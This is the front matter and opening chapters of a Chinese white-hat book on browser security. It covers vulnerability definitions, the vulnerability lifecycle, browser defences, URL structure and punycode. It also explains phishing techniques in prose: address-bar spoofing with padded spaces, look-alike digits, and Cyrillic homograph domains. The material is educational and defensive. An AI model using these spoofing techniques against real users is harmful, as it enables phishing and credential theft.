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人类第一次大规模的接触互联网，就是从PC上的浏览器开始的。从它的诞生开始，浏览器安全就成为一个极其重要的安全领域。浏览器内核、网页、钓鱼、XSS，包括让人又爱又恨的网银插件，这些都和浏览器安全息息相关。随着移动互联网和互联网＋时代的到来，浏览器已经变成了桌面端的互联网第一入口，而在移动端，虽然浏览器的入口地位受到了手机APP的分流，但依然是最重要的入口之一。浏览器安全问题，变得更加错综复杂。比如iOS越狱，用户只需要简单地访问一个特殊网页就能自动完成，也是利用了iOS Safari的安全漏洞。随着HTML5和HTTP 2标准的先后定稿，以微信、手机QQ为代表的开放平台迅猛发展，使得越来越多的HTML5内容在APP中的WebView里呈现。这些APP同样面临着广义的浏览器安全威胁。

无巧不成书，认识钱文祥也是缘于浏览器。2013年，在乌云上偶然看到几个关于浏览器漏洞的报告后，我在QQ上联系了他。通过几次交谈，发现他是一个对安全技术尤其是浏览器安全技术非常痴迷并且有想法的人。所以，我邀请他来腾讯浏览器产品部工作，负责PC浏览器的安全工作。他在浏览器安全方面的经验，很好地保证了QQ浏览器的安全性，得到了团队的一致认可。此外，他还发现了Microsoft IE的和Google Chrome浏览器的一些漏洞，并得到了这两家公司认可。

当拿到书稿后，我不由地一震。他在工作之余，系统地总结和归纳了自己这些年在浏览器安全方面的一些知识，并深入浅出地呈现出来。这些知识可以给希望了解和学习浏览器安全的人提供一份有益的营养套餐。

浏览器安全，其实涵盖了客户端、web、server等，给初学者一种雾蒙蒙的感觉，同时也给互联网罩上一层迷雾，就好似北京那令人百感交集的雾霾。希望《白帽子讲浏览器安全》一书，能像前几天的一场北风，吹走那迷雾，给读者带来一片清澈的蓝天。

边超，腾讯T4专家，PC浏览器技术负责人

2015/12/8


前言

2015年3月，我在乌云知识库中开始连载IE安全系列的文章（ID：blast）。博文视点的张春雨先生找到我，希望我写一本浏览器安全的书。

此时的浏览器市场已是一片红海——作为用户访问互联网的入口，无论是桌面还是移动端，各厂商争夺浏览器份额的形势，犹如多年前微软和网景的份额大战。这个过程中，他们留给互联网许多实用功能，制订了许多规范。

这些功能中，有一些也留下了不少安全隐患。我正好在从事浏览器安全工作，在日常问题处理中深知浏览器安全现有的资料非常分散，最大的问题便是不少人虽然兴趣浓厚，但是却不知道从哪里开始研究浏览器安全。

我的浏览器安全历程

1999年接触计算机开始，我就对这个庞然大物产生了浓厚的兴趣。2001年家中购买了电脑之后，由于最初的两年电脑没有联网，于是编程便成了我的另一个兴趣爱好。自学了几年编程之后，一直想做出一个有用的工具。

2007年加入卡饭论坛开始的那段时间，应当是我和浏览器安全最长时期的接触，我一直活跃在病毒分析板块。由于当时网马猖獗，对病毒分析爱好的我编写了一个自动化网马解码分析工具Redoce并坚持更新了6年，这段经历让我认识了许多志同道合的朋友，也让我掌握了许多病毒以及漏洞的分析技能。

2010年，我就读安徽理工大学信息安全专业，其间参阅了许多前辈的资料。2013年是我第一次尝试由分析转为漏洞挖掘，之后我便沉浸于此，并最终以一个契机加入腾讯QQ浏览器部门。在腾讯，我依然从事浏览器安全研究工作。

浏览器的用户量数以百万、千万甚至于亿计，这样一款处处都会接受用户输入的软件，一旦出现漏洞，产品口碑和用户的信息安全都会深受其害，这是所有产品相关人员和安全研究人员都不想看到的。在对浏览器代码和应用的安全审查和测试过程中，我也总结了许多浏览器安全的“坑”和补救措施，这些内容将在本书内详细叙述。

本书结构

对有兴趣致力于浏览器安全的研究者来说，不知从哪里入手是研究热情的一个拦路虎。我将日常的经验和历史上的浏览器安全事件结合，编写了本书的3篇共12章的内容。希望能够为浏览器安全研究爱好者提供一些参考。


第1篇探索浏览器安全
 介绍了从浏览器的用户界面以及浏览器展示网页的整个过程，针对过程中可能出现的问题进行了探讨，详细地介绍了浏览器的特性以及基础安全概念。浏览器的漏洞挖掘和Fuzz工具密不可分，本篇中我们也将介绍Fuzzer的基本理念并制作出一个可用的Fuzzer。

本篇结合了Web安全与浏览器自身特性，就浏览器处理网页内容的原理及引发的安全问题展开讨论，希望能让读者对浏览器安全产生初步的印象，也打消从未涉及浏览器安全的读者的疑虑。

插件和扩展延伸了浏览器的功能，但是也带来了许多安全风险。


第2篇实战网马与代码调试
 是过渡性的篇章，我们从插件和扩展安全说起，再通过几个网马的例子，将重点逐渐从Web向二进制调试转移。

插件部分将介绍逻辑漏洞的挖掘，以及在软件制作中规避风险的方法。网马部分则介绍恶意代码的混淆与加密方式，为恶意代码分析打好基础。代码调试部分则从二进制调试工具的用法开始，最后介绍Shellcode的调试。本章难度适中，希望能够带领读者探索浏览器中的二进制代码。


第3篇深度探索浏览器漏洞
 对浏览器漏洞知识进行了更深入的挖掘和探讨。我们将从浏览器对网页元素的处理入手，分析网页元素在浏览器内存中创建时的过程并使用调试工具加以分析。我们还将从常见的漏洞入手，分析漏洞的成因并编写一个完整的浏览器漏洞利用程序。至此完成浏览器漏洞研究的最后一步。

编写历程

编写全书时工作繁忙，我每天只能够在业余时间抽出一至两个小时编写文章和调试代码。经历过后深知编写一本书的不易。在编写本书的过程中，我参考了大量资料。编写一本经验总结性质的书籍不仅仅是对自己过往的一个交待，更是为了促进对自己对浏览器认识的提高。如边超先生所言，通过将知识沉淀为文字，博文也好，书籍也好，都是一种重认识和再发现的过程。

在写一本介绍如此宽泛概念的书籍时，能够系统性地布局则是一大要事。在和乌云社区多个有兴趣研究浏览器安全的白帽子交流之后，最终我选择了本书这样一种先Web后底层深入的布局。但是，列大纲的时候我就发现，浏览器安全中每一部分都可以成为深入挖掘的方向，想在这一本薄薄的书中全部展现也是不切实际的。为了完整地涵盖安全的基础部分，本书挑选的更多是一些典型的例子，我希望通过这些典型例子起到抛砖引玉的作用——因为浏览器安全问题并不是单一因素引起的，更多的很可能是许多异常行为（也就是我们俗称的“BUG”）的组合。

相比于其他计算机科学相关的内容，浏览器安全研究的书籍资料并不多。但是互联网上仍然有许多专业研究人员提供了宝贵的数字资料，在遇到浏览器安全问题时，善用、勤用搜索引擎，是解决问题的一条捷径。

浏览器和浏览器标准的更新换代速度极快，在本书编写的过程中，就有许多新的浏览器标准和新的浏览器防御手段诞生。且本书编写时间仓促，又限于作者自身能力和水平的不足，书中不免会出现疏漏，烦请批评指正或留言宝贵意见。我提供了一个勘误表以及事件提单平台，本书的修订内容将在该平台上发布。平台的地址请见前言结尾的“联系方式”。
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第1篇　初探浏览器安全


	漏洞与浏览器安全

	浏览器中常见的安全概念

	探索浏览器的导航过程

	页面显示时的安全问题

	浏览器扩展与插件的安全问题

	移动端的浏览器安全




1　漏洞与浏览器安全

1.1　漏洞的三要素

软件在设计、实现、配置运行过程中会存在缺陷，如果攻击者在未授权的情况下利用这些缺陷影响到用户的系统，就可以称这些缺陷为漏洞。那么，浏览器中出现了什么程度的问题才可以真正算为漏洞呢？微软曾经给出了较为通俗的解释[image: https://technet.microsoft.com/library/cc751383.aspx]

 ：仅当通过软件缺陷触发，而且有损完整性、可用性、机密性三者中至少一项时，这个问题才应当被考虑是漏洞。



	
完整性
 ：指对资源的可信程度。攻击者若是在未授权且无提示的情况下修改了资源，那便是破坏了其完整性。



引申到浏览器中，就是一个网页通过某种方式做了它正常情况下不应该做到的事情。如果浏览器对某些危险动作发出了明确的警告，而用户手动点了允许，这样则不应视为漏洞。如果浏览器的缺陷被利用，静默下载了木马程序，或是删除了用户计算机上的文件等，则应当被视为漏洞。


	
可用性
 ：指访问资源的能力。攻击者针对漏洞进行攻击时，如果能够控制产品不让用户访问资源，便破坏了其可用性。



有一个典型的例子：攻击者攻击HTTP服务器，使得其软件崩溃，导致其他用户无法访问该网站，这可以称作漏洞。但是如果攻击者通过DDoS来攻击HTTP服务器，虽然效果和前者一样，但是这不是漏洞。因为在前一种情况下，攻击者可以控制服务器程序的“生死”。而后者，虽然服务器运行缓慢或采取必要的限制流量措施，导致用户无法使用服务，但是程序执行的控制权依然在服务器手里。

在浏览器中，一些无法利用的崩溃（unexploitable crash）虽然会导致网页无法访问，但是浏览器依然有控制权，浏览器可以在网页多次崩溃之后选择不再展示该网页，这表明代码的控制权依然在浏览器的手中。攻击者实际上仅做到了拒绝用户对该网站的访问，这与直接断开网站的服务器效果差别并不大。因此这样的代码归为缺陷比较合适，而不应当算作是浏览器漏洞。

[image: ]
图1-1：IE中网页一直崩溃后，IE选择拒绝再次展示该网页




	
机密性
 ：机密性指对一些需要授权的信息的限制。如果攻击者通过漏洞获取到了一些不该由他来获取的内容，称作破坏了机密性。



举个例子，浏览器保存的密码，应当只能被保存它的用户和对应网站知道，如果攻击者通过浏览器缺陷知道了密码，这属于浏览器漏洞。如果一个人通过钓鱼骗到了密码，或是通过某种方式取得了用户的笔记本或手机，并偷看到用户保存的密码，这不属于浏览器漏洞。

前后二者的区别在于，前者信息泄露的载体是浏览器，诱因是浏览器的缺陷，所以应当被归为漏洞。而后者，用户已经丢失或主动让出了对数据的所有权，这种情况下，问题的载体为用户。


	
https://technet.microsoft.com/library/cc751383.aspx返回







1.2　漏洞的生命周期

从漏洞的产生到漏洞消亡的这段时间称为漏洞的生命周期。从漏洞利用代码公开到漏洞补丁发布的这段时间称为0day期，攻击者可能会利用已经公开的PoC或对其稍加修改，用来对目标进行攻击，此时由于无官方补丁，且并不是每个人都知道有这个漏洞，所以危害最大，攻击者最容易得手。

另一个攻击的好时机是官方补丁发布的第一天，许多用户还没来得及打上补丁，但是攻击者可以对补丁修改的文件进行差量分析，从而猜测漏洞的原理，并写出攻击代码，这称作1day漏洞，攻击成功后依然可以产生较大的危害。随着用户逐渐打上补丁和新漏洞的产生，旧漏洞的危害也逐渐变小，从而逐渐走向衰亡，直到漏洞生命终结。

[image: ]
图1-2：漏洞的生命周期



随着用户的深入使用，系统中存在的漏洞会被不断暴露出来，这些早先被发现的漏洞也会不断被系统供应商发布的漏洞补丁修补，或在新版系统中得以纠正。同时，这也可能会引入一些新的漏洞和错误。随着时间的推移，旧的漏洞会不断消失，新的漏洞会不断出现。漏洞问题也会长期存在。


1.3　浏览器安全概述

作为用户与网络交互的最主要的一种平台，浏览器也日渐成为了网络攻击的目标，猖獗的地下0day交易，以及简单、流程化的木马生成与发布程序都让浏览器安全问题影响变得广泛。

以浏览器最出名的漏洞之一MS06-014为例。这个漏洞曾被广泛利用于网马中，它的利用代码简单，执行时几乎毫无声息。2006年，某安全软件就拦截到总计300余万次来自它的攻击。更糟的是，当年许多用户没有安装补丁，所以MS06-014利用起来成功率相当高。在随后足足5年时间内，几乎所有的挂马工具包中都给MS06-014留有位置。直到被新漏洞取代之前，MS06-014都是当之无愧的“挂马王”[image: http://it.sohu.com/20090409/n263288723.shtml]

 。在它爆发的几年中，预计有千万以上级别的计算机受到了影响。


[image: ]
图1-3：傻瓜化的木马生成器



因何这样一个小小木马有如此大的威力？一个重要原因是当年的网站和服务器安全没有受到足够重视，因此给黑客们留有可乘之机。另一个原因则是由于黑客使用漏洞的门槛相当低。笔者找到了当年的一款“网马生成器”，从它的界面和程序内容就可以知道，这完全是“傻瓜式”操作。“网马生成器”造就了部分想要赚快钱的“脚本小子”。他们并不研究和了解漏洞，只会单纯地使用工具，动动手指就能把木马给布置妥当，然后坐等用户上钩。

作为安全研究人员，使浏览器变得安全则是我们的目标。从较为狭义的角度来解释的话，浏览器安全既指消除浏览器漏洞，又指浏览器程序能正确、安全地使用网络功能，还能够保护用户已经联网的数据不被泄露。

事实上，我们平时接触到的是更为广义的浏览器安全。许多问题只是利用了浏览器这个载体的特性。例如钓鱼网站，它没有利用任何浏览器漏洞，只不过这个问题发生的载体是浏览器，因此也被认为是浏览器安全的一部分。但它们并不一定要完全依靠浏览器解决，例如搜索引擎展示时可能就会给予用户明显的提示。

广义的浏览器安全包括所有可能会影响到用户信息安全的问题，例如页面伪造、钓鱼、下载文件病毒检查、广告弹窗、不良内容的过滤、用户设置保护等。

[image: ]
图1-4：对虚假信息、钓鱼网站的拦截也应被归为广义的浏览器安全



浏览器中数据和指令混杂（例如HTML代码既可能是数据又可能是指令），浏览器要处理的数据大部分又来自其他用户的输入，这就导致浏览器受到攻击时的内容更不可预测。将这些安全问题一个个击破，也正是研究浏览器安全的目标。


	
http://it.sohu.com/20090409/n263288723.shtml返回







1.4　浏览器安全的现状

浏览器漏洞数量在不断增长，却并没有引起所有用户的重视。安全研究机构Secunia的研究报告称2014年浏览器漏洞数量同比增长了42%，且大部分都是高危漏洞。此外，Secunia扫描的用户中约1/4的用户并没有及时安装补丁。

[image: ]
图1-5：Secnuia对其企业用户调查的结果



而在移动端的情况也是一样。封闭的系统iOS和Windows Phone的更新瓶颈在于厂商，而Android则受限于平台过于开放和多样化。Android 4.4中，Google可以向设备推送一个小型补丁来修正浏览器漏洞。在5.0中，则是通过Google Play来发起更新。截至2015年5月，约一半的安卓设备在使用4.3以下的版本。Google并不会针对4.3及以下版本的浏览器推送漏洞补丁。如果你仍然使用着安卓系统，那么建议及时更新系统或更换成其他第三方浏览器，这会减小由于补丁不及时推送而导致的各种安全风险。
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图1-6：2015年5月谷歌公布的安卓各版本所占比例



用户量和使用频率决定了一个软件是否容易受到攻击。2015年7月6日，意大利舆情监控公司Hacking Team遭到攻击，攻击者公开了该公司用来销售的多个0day漏洞的利用代码。这个臭名昭著的工具的广告视频中，有一句宣传语特别刺眼——“要监视你的目标，你需要在他浏览网页时，黑掉他”。
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图1-7：Hacking Team销售黑客工具达芬奇的广告



浏览器的应用非常广泛，不仅仅是我们日常使用的那个一眼就能认出来的浏览器，例如邮件客户端、RSS阅读器、QQ消息记录等软件中也会用到封装后的浏览器组件。浏览器有如此大的用户量，所以成为攻击者的首选目标也不足为奇。

黑客热衷于攻击浏览器的另一个重要原因是，攻击成本低但收益超高。杀毒软件公司Sophos研究表明，著名的漏洞工具包“黑洞”的完整服务版本每季度只需要300美元，提供挂马的服务每季度只需1500美元。然而攻击者的收入很可能远高于这些服务费。从国内的报道中也可见端倪，一些盗号木马在短期内可以非法获利百万元。在这种利益的诱惑下，地下黑客以身试法，对浏览器发起攻击的事件层出不穷。


1.5　浏览器的应对策略

为了应对攻击，浏览器也增添了许多安全特性。例如，各浏览器都纷纷开启了数据执行保护（DEP）和地址空间分布随机化（ASLR）。同时，为了降低恶意代码运行时的权限，浏览器也在试图降低浏览器网页进程的权限，例如IE的保护模式和Chrome的沙箱。
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图1-8：Google Chrome的恶意网站拦截功能



为了防止用户受到脚本注入的困扰，IE和Chrome也各自添加了XSS过滤器。为了防止用户受到钓鱼网站或是恶意网站的干扰，浏览器也添加了形如SmartScreen Filter、恶意网站拦截的功能。同时，浏览器也在兼容新的安全特性，例如DNT（不要追踪，Do Not Track）和防止点击劫持的HTTP头、CSP安全策略等。可以看得出来，浏览器在提升安全性上还是十分努力的。

由于网络复杂和不可预知的特性，浏览器的制作者既要保证产品遵循规范去使用网络资源，也要防止用户不当操作带来的风险。在与浏览器安全技术的对抗中，黑客们也形成了一套较为成熟的漏洞利用方法，例如我们常常能在攻击代码中看到成型的对“堆喷射”、返回导向编程攻击（ROP）的利用。而浏览器厂商则通过不断在产品中加入新的特性提升黑客攻击的门槛，提升自己产品的安全性。


1.6　“白帽子”与浏览器厂商的联手协作

虽然网络安全形式严峻，但是幸运的是有许多“白帽子”正在各种平台上努力提交浏览器的安全漏洞。2014年6月至2015年6月间，乌云漏洞报告平台上就有50余名“白帽子”报告了至少212个浏览器相关的漏洞。漏洞涵盖了信息泄露、跨域脚本执行、远程命令执行、内容欺骗、保护绕过、驱动安全、缓冲区溢出等多个方面。
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图1-9：乌云漏洞报告平台上报告的浏览器漏洞



不仅如此，微软、火狐、谷歌等巨头也推出了奖励计划，根据漏洞的严重程度和报告者提供内容的详细程度，各家都提出了500至上万美元不等的奖励。国内的漏洞平台也给出了各种不同的奖励，以鼓励更多的安全研究者参与进来。厂商从最初的不理解、不重视到后来对漏洞处理态度的端正，尊重漏洞报告者的成果，并仔细修复、完善产品，足以见得行业安全意识在逐渐增强。


1.7　全书概览

浏览器安全是一个比较广阔的方向，它涵盖Web和二进制分析的多个方面。在学习浏览器安全时，从Web相关的内容入手，逐渐过渡到偏浏览器底层的研究将会是一个比较顺畅的路线。本书的内容正是按照这个模式去展开的。

浏览器是一个结构复杂且庞大的有机体，但是它的基本功能仍旧是展示网页。千里之行的第一步，应当是理解浏览器的基本规范。第2章中我们将从URL、请求和响应、源、域、伪协议等内容开始，对浏览器基础原理展开讨论。

浏览器工作时一般都伴有繁多的状态转换和信息同步操作。从发出DNS请求到网页展示出来为止的每一步处理，稍有不慎便会产生安全问题。在漏洞挖掘的过程中，建议先细分步骤，再针对性地击破。本书的第3、4章两章将采用这个思想介绍浏览器工作时每一步可能产生的问题。我们还将从CSS expression这个简单的例子着手，介绍Fuzzer的通用理念并制作出可以使用的Fuzzer。

第5章中，我们将介绍热门的扩展和插件安全。我们从多个实例入手，探讨浏览器在开发扩展或插件时应当注重的安全问题。同时我们也会介绍Flash相关的安全攻防。

浏览器安全并不仅仅局限在PC端，我国有超过5亿的手机用户[image: https://www.cnnic.cn/hlwfzyj/hlwxzbg/201408/P020140826366265178976.pdf]

 ，移动端的浏览器安全也理应受到同等重视。在第6章中我们将介绍Android、iOS上的浏览器客户端的安全现状，并围绕几个漏洞PoC介绍相关移动端的安全威胁。


从第7章开始，我们将逐渐从Web过渡到二进制代码调试。如果读者之前只是在挖掘Web漏洞，也不必担心这部分内容的难度，第7章、第8章像是Web和二进制的混合体。一些常见工具生成的钓鱼网站和挂马网站都有着复杂的代码加密。我们将先介绍一种通用的脚本解密模式，这样，在处理恶意脚本时，我们将很容易地还原被编码或加密的脚本，得到最原始的代码版本。网马中负责获取系统控制权的Shellcode是一段短小精炼的可执行代码，我们将以网马中的Shellcode为例，介绍调试工具的使用，逐渐熟悉二进制代码的分析过程。

第9章开始进入第3篇，本篇中我们将了解更为底层的内容。第3章的CSS expression Fuzzer如果给读者产生了一定的启发，那么这篇的内容也将不会过于陌生。只不过从这里开始，我们将利用一些开源模糊漏洞挖掘工具（Fuzzer），自己动手挖掘出潜藏在浏览器内核和插件中的0day。

一些开源Fuzzer的日志记录功能通常不是十分强大，因此借助Fuzzer框架或是手动修改Fuzzer的代码则显得尤为重要。这个过程并不复杂，第9章中我们将介绍Fuzzer的修改与崩溃的复现，通过对一些简单的崩溃的分析，我们将减少与浏览器底层的“隔阂”。

浏览器内核的渲染是一个庞大的工程，在漏洞分析中我们只需要知道一些基础内容即可举一反三。第10章我们会介绍浏览器渲染网页的详细情况。为什么“<img/src="x.gif"/>”这样的写法也能被浏览器正常解析——这类问题在本章中找到答案。

当然，也少不了漏洞的分析和利用流程。第11和第12两章中我们将综合利用书中提到过的内容，从知名漏洞的分析入手，了解漏洞的脉络和利用方法。

浏览器安全涵盖的内容相当多，更多的还是需要读者仔细地练习，并能够从书中的例子入手举一反三，在不同的例子中找到更多相似之处。书中引用的外部文件（例如网马的代码）均在脚注中注明，在阅读相关章节时建议配合代码一起阅读。


	
https://www.cnnic.cn/hlwfzyj/hlwxzbg/201408/P020140826366265178976.pdf返回







1.8　本章小结

本章是对浏览器历史和浏览器安全的基本概述。本章首先介绍了网马的爆发和浏览器的发展，一次次的网马灾难也推进了浏览器安全的进步。

接着，介绍了漏洞的定义和一个漏洞从诞生到消亡的生命周期，并引出了狭义和广义的浏览器安全。狭义的浏览器安全只是要求软件按照安全的方式开发，而广义的浏览器安全则要求考虑到更多以浏览器为载体的可能攻击形式。

然后通过叙述浏览器的安全现状，阐述了浏览器是黑客攻击的首选目标，在黑客和官方的拉锯战中，浏览器新增了许多的安全特性，例如内存保护、XSS Filter、沙箱等。

最后，从Web发展到二进制这一方向上提出了一条深入学习的路线，希望本书可以带领读者掌握这些内容。


2　浏览器中常见的安全概念

2.1　URL

“网址”大家都不陌生，它的全称是“统一资源定位符”（Uniform Resource Locator，URL[image: 还有个常见名词是URI（统一资源标志符）。URL是URI的子集。虽然URL可以访问指定的资源，但并不是每个URI都能这么做，例如一个相对路径也是URI，在没有上下文的情况下单独依靠URI可能无法定位一个特定资源。]

 ）。打开浏览器后，只有给浏览器指定一个网址，它才会知道自己该怎么访问以及访问哪个资源。网址是网页的“名片”，在用户或者脚本改变网址时，浏览器会先解析新网址，然后跳转对应网页上，最后更新整个浏览器显示的状态。URL是浏览器开始导航过程的第一步，URL安全也是浏览器安全的第一步。看似简单的URL里面埋着不少的“坑”，让我们细细道来。


URL只是一个定义，最终如何使用它还是需要程序员去编码实现，有人参与的地方肯定会产生问题。从历史上出现过的安全问题来看，URL并不安全。针对URL的攻击涉及到方方面面，在URL的解析库、协议关联、编码、字符排版、UI显示、内容劫持等方面均出现过安全问题。

说到历史则不得不提到曾经的“霸主[image: 2002年IE市场占有率一度高达90%，因为几乎处于一家独大的情况，所以也成为了早期的浏览器安全研究的热门目标。]

 ”IE6。在早期
 [image: 指XP刚刚发布的2001年前后。]

 微软的想法比较超前，它推崇的正是当今互联网中热门的Web APP概念，即基于网页的应用程序。为了能达到和原生程序类似的效果，早期的IE6支持网页脚本创建一个没有任何边框的新窗口。这个想法如果放在EXE程序中是没有任何问题的，因为对EXE来说，一个程序就是一个独立的个体，不依附于其他框架。


但是在网页中，这显然引发了一些混乱。恶意网页可以自己绘制出一个假的IE界面，当然也包含网页的“名片”——地址栏。由于大量的弹窗广告和钓鱼网站绘制假的界面谎称自己是合法网站，不堪其扰的微软决定从XP SP2开始强制IE显示边框[image: https://msdn.microsoft.com/en-us/library/ms537638(v=vs.85).aspx，“Why Do We Need Window Restrictions?”节：XPSP2上的IE6开始，浏览器窗口必须包含标题栏和状态栏，如果有地址栏，也必须保持可见。……这项限制可以阻止恶意代码仿造浏览器UI。]

 。对IE来说这是一个正确的决定
 [image: 但不幸的是，直到现在，当今一些流行的第三方浏览器中仍然有可隐藏UI的设计。]

 ，因为浏览器是一个展现信息的工具，因此用户看到的内容也可能是一个攻击点。


在边框问题之后，又有安全研究员报告了另外一种问题——IE的地址栏中超长字符串以及扩展字符处理的逻辑有问题，地址栏可能显示不出特定字符[image: CVE-2008-4787（IE6&NBSP;地址栏伪装漏洞），CVE-2008-4788（IE6地址栏扩展ASCII字符无法显示漏洞）。]

 。这样，攻击者可以注册一个含特殊字符的域名，并利用浏览器显示文字的漏洞将其伪装成正常域名。或是使用大量空格，将一级域名顶出地址栏的显示范围外，让人误以为自己访问的是合法网站。
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图2-1：地址栏中http://www.baidu.com[许多空格].evil.com的错误和正确的显示方式



这些攻击案例零零散散有过报告，直到浏览器市场百花齐放时，更多与URL相关的漏洞才暴露出来，这里面有很多是通用型漏洞，例如地址栏、解析逻辑的处理中可能导致的缓冲区溢出、程序崩溃、执行恶意程序[image: 例如TX07040201（TT3.2地址栏溢出漏洞，2007年），在Chrome44以下地址栏输入http://a//%%30%30会引发崩溃（2015年），Valve Steam游戏平台的旧版本Steam注册的Steam://协议存在远程代码执行漏洞（2012年）。]

 等，这些都威胁着浏览器的信息安全。接下来，让我们从URL开始入手。


2.1.1　URL的标准形式

URL的规范形式如下，让我们从左至右介绍一下。

[image: ]
图2-2：URL的规范形式



①方案名
 ，它也常被当作协议名（Protocol Name）混用[image: 这么叫有一些不严谨，方案名是指一种特定的、与协议关联的文法。不过下文为了称呼简洁，非特殊需要区分的地方，一律称作协议名。]

 。协议告诉浏览器应当如何连接，例如http、https、ftp都是协议名。[RFC3986]的3.1节规定虽然协议名应当是小写，但是为了保持健壮性，浏览器中不区分大小写。


②验证信息
 用来提供登录主机的身份信息，这部分在URL中是可选的。由于验证信息在传递时是明文传递的，因此在做验证时也不建议使用这种方式进行身份验证。并不是所有的浏览器都支持验证信息。

③主机名
 部分使用域名、主机名或合法IP均可，例如http://localhost/、http://example.org/都是合法的。如果要使用IPV6地址，则地址必须要在中括号对（[]）中括起来，如http://[：：1]/。还有，因为DNS查询域名时并不在意域名的大小写，所以URL中域名也是不区分大小写的。故在浏览器中http://example.org/和http://EXAMPLE.ORG/是等同的。

④端口号
 ，是一个数字，表明浏览器应该连接目标的哪个端口。如果没有指定，浏览器将使用协议的默认端口号，例如http协议使用80，https协议使用443。如果服务器使用了非默认端口，例如Tomcat的HTTP服务会使用的8080端口，则需要在URL中手动指定端口号。

⑤路径
 部分表明需要浏览器获取什么数据。路径并不一定反映服务器上的文件夹情况，例如服务器可以配置使用目录映射、路径重写等，这时路径部分和实际的文件名可能会不一致。与域名和协议名不同的是，如果服务器的文件系统是大小写敏感的，路径部分也可能是大小写敏感的。

[image: ]
图2-3：使用IIS的虚拟目录映射/1/fakepath到f：\windows\temp下



⑥查询字符串
 部分由一或多个“名称=值”对组成，它表示要传给服务器程序的内容。URL中的第一个问号（？）表示查询字符串开始，每个值对使用“&”符号连接。例如：？name=blast&date=20150901&order=a+and+b。查询字符串加号代表空格，例如左例order的值为“a and b”。如果需要传递加号这个字符，应该使用%2B。如order=a%2Band%2Bb代表“a+and+b”。

⑦片段字串
 ，也称Hash部分，它一般表明文档资源的某个部分的位置，例如可以让浏览器定位到锚点（即通称的超级链接锚点标签<A>，Anchor）的id处。如无特殊处理，在浏览器中改变哈希字串时，浏览器不会发出网络请求。

URL中允许出现的字符也是有限制的。根据[RFC3986]，URL的Path开始允许直接出现A-Za-z0-9以及半角的连字符（-，即半角减号）、下划线（_）、句点（.）、波浪号（~）。而下列内容通常会被百分号编码：

! * ' ( ) ; : @ & = + $ , / ? % # [ ]

在域名中可以出现的字符为A-Za-z（域名并不区分大小写）、0-9以及句点（.）、连字符（-）。不过减号不能在域名一节的开头或者结尾，两边必须连接着其他字符才可以。

2.1.2　IRI

除了英文字母数字之外，许多国家地区也希望使用自己的语言来创建域名。期望归期望，URL的标准可是早就订好了，在最初制定URL的标准时，规定的可用字符集就只有之前我们说过的这么一点。如果贸然扩充支持的字符集，会导致大量的基础设施不兼容，代价将是十分高昂的。

这个事情上URL似乎并不想重新步ASCII扩展字符[image: ASCII>127的字符，虽然同一个字符的ASCII码一样，但是随着系统代码页（系统语言）设置不同，显示的字符也不同。]

 的老路，[RFC3492]引入了一种对Unicode字符进行特殊处理的通用编码/解码算法，这个算法可以将各个国家的语言编码成最基本的“字母—符号”格式，既满足了需求，又体现出了向下兼容的特性。这种编码方式称为punycode，这种URI称为国际化资源定位符（IRI，Internationalized Resource Identifier）。


IRI是一个包含Unicode字符的URI形式。所有的现代浏览器都支持IRI。不管是主机名还是路径，只要包含Unicode字符，都应被认定为IRI。

IRI的子集“IRI主机名”也叫国际化域名（IDN，Internationalized Domain Name）。浏览器在识别到IDN时，会自动把它们转为DNS系统能识别的punycode。根据[RFC3492]，punycode的起始代码为xn--。即如果浏览器发现xn--，则表明原来URI中主机名部分包含有Unicode。例如CNNIC的中文域名http://互联网中心.中国/编码后为http://xn--fiq7iq58bfy3a8bb.xn--fiqs8s/。

[image: ]
图2-4：某域名注册商提供的域名查询功能



而URL的路径（path）部分如果包含有UNICODE字符，则使用UrlEscape转为百分号形式的编码，使用搜索引擎时，大家应该早已注意过输入的汉字最终变成了许多百分号放在URL中。例如百度搜索“白帽子”，最终形式会是：http://www.baidu.com/s？ie=utf8&oe=utf8&wd=%E7%99%BD%E5%B8%BD%E5%AD%90%E7%99%BD%E5%B8%BD%E5%AD%90即为编码后的“白帽子”三个字。在JavaScript中使用encodeURI/decodeURI可以编码/解码字符串，使得能够合适地随着URL传递。

[image: ]


2.1.3　URL的“可视化”问题——字形欺骗钓鱼攻击

作为网站身份的标识，URL最常用的场景应当是被用户的眼睛看到。因此，攻击者引入了一种新的攻击方式——字形欺骗攻击（Homograph Attack）。如果攻击者试图使用0、o，1、l之类的类似字型字符进行攻击，可能会在网址的外观上产生一定的欺骗性。

在XP诞生初期，网络发展正盛，宋体和Times New Roman占据了大量桌面系统的UI，字母l和数字1的区分不是很强烈，乍一眼经常看错。正因如此，当时许多木马为了防止被用户看出蹊跷，都以svch0st.exe、exp1orer.exe的名称运行。不久，这一攻击手法就移师别处，互联网上出现了许多针对著名网站的字形攻击[image: http://blogs.msdn.com/b/ianm/archive/2006/04/24/582139.aspx，《Would you fall for www.paypa1.com？》]

 。


[image: ]
图2-5：各字体下apple和app1e的区别



为了解决这个问题，操作系统的字体和排版也进行一些微调，例如一些常用字体上数字1和字母l的区分越来越明显了，而且数字1出现在字母中间时，两边的空隙也更大，因此更加容易识别。

用长得像的数字去替换字母的方式相对过时，普通用户也有一定辨别的能力，攻击者肯定得找到一些更优的“解决方案”来实施攻击。结合URL支持国际化域名的“新功能”，攻击者提出了字形欺骗攻击的现代版本——国际化域名字形欺骗攻击。

[image: ]
图2-6：各浏览器地址栏中apple和app1e的区别



2.1.4　国际化域名字形欺骗攻击

国际化域名字形欺骗攻击（IDN Homograph Attack）是指利用一些语系字母外形和英文字母外形几乎一样的特性，从而欺骗受害者的视觉判断的攻击形式。例如常见的字母“O”就有许多编码不同，但是外观一样的“兄弟”。O的欺骗性比之前所说数字1的例子强得多，在许多字体中各种“O”都呈现出完全一样的外观，例如表2-1中便是一些字形近似是O的字符。


表2-1：字形与英文“O”一样的西方字母

[image: ]


这不是个例，许多西方字母，比如西里尔字母a和英文字母a显示起来就是几乎一样的。如果攻击者注册一个混杂有西里尔字母的域名的“alipay.com”并发送给受害者，对方仅凭肉眼识别的话则很有可能会上当。不巧的是，在常用的“微软雅黑”等字体中，西里尔字母a和英文字母a并无外观上的差异。例如假“alipay.com”在Windows 7下的Chrome的地址栏中显示效果如图2-7所示。

